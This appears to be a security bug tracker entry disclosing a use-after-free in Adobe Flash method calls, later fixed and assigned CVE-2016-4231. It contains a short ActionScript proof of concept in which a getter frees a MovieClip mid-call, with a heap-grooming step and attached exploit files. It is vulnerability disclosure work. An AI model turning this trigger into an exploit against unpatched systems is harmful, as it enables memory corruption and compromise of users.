New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Sep 2016
Cc:



Sign in to add a comment
Adobe Flash: Use-after-free in method calls
Project Member Reported by natashenka@google.com, Jun 10 2016 Back to list
If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:

var mc =  this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");

function func(){
	
	mc.removeMovieClip();
	// Fix heap
	var d:Date = new Date();
	return d.getDate;
	
	}	


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
method.swf
751 bytes Download
method.fla
4.7 KB Download
Project Member Comment 1 by natashenka@google.com, Sep 8 2016
Labels: -Restrict-View-Commit -Severity-High CVE-2016-4231 Severity-HIgh
Status: Fixed
Fixed in July update.
Sign in to add a comment